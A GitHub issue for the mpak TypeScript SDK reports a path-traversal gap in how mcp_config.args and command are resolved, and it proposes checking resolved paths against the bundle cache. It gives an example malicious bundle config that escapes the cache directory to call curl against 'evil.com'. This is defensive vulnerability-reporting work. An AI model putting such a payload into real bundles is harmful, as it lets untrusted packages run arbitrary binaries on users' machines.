chore(security): validate mcp_config.args/command resolved paths stay within bundle cache

Open
#96 0 comments 0 reactions 0 assignees View on GitHub

Nobody has claimed this yet.

Assessment

Difficulty
4/5
Estimated time
1-2 days
Newbie friendliness
48/100
Issue type
Bug
Clarity
Clearly specified
Activity status
Stale
Tech stack
typescript
Domain
security

Research direction

Read packages/sdk-typescript/src/mpakSDK.ts around lines 411–461 to follow how MpakSDK.prepareServer substitutes templates and joins paths, then review helpers.ts and its resolveEntryPath check. Add coverage in mpak.test.ts for rejected paths that escape cacheDir and allowed PATH binaries and in-cache paths; done means all four acceptance criteria pass.

Written by the indexing model from the issue text.

Description

Problem

After PR #94 fixed entry_point at the schema layer, an analogous traversal vector remains in mcp_config.args and mcp_config.command. These fields commonly contain ${__dirname} template substitutions that the runtime resolves against the bundle cache directory. The schema correctly leaves these as z.string() because they may legitimately contain template variables — but the runtime does no post-substitution validation.

A malicious bundle with:

"mcp_config": {
  "command": "node",
  "args": ["${__dirname}/../../../../usr/bin/curl", "evil.com"]
}

after ${__dirname} substitution in MpakSDK.prepareServer, produces a command line that escapes the bundle cache directory.

Reference

Same vulnerability class as the entry_point issue closed by PR #94. See packages/sdk-typescript/src/mpakSDK.ts lines 411–461 for the substitution and join logic.

Proposed approach

After substitution, resolve every path-shaped argument against cacheDir and reject (`MpakInvalidBundleError`) any that escapes. Pure-JS path-equality + `startsWith` check; pattern already used in `helpers.ts` `resolveEntryPath`.

`mcp_config.command` may legitimately be a binary on the user's PATH (`node`, `python`, `bun`) — only validate it when it's a path-shaped value (contains `/` or starts with `.`/`${`).

Acceptance criteria

  • After substitution, any argument or command that resolves outside `cacheDir` is rejected
  • PATH-resolved binaries (`node`, `python`, etc.) continue to work
  • `${__dirname}/build/index.js` and similar legitimate forms continue to work
  • New tests in `mpak.test.ts` cover both rejection and allowed paths
Dominant language
TypeScript
Stars
14
Forks
13
Avg merge
16m
Merged PRs (30d)
4

Getting set up

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

More from NimbleBrainInc/mpak

All issues in NimbleBrainInc/mpak

Similar issues

More TypeScript issues

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.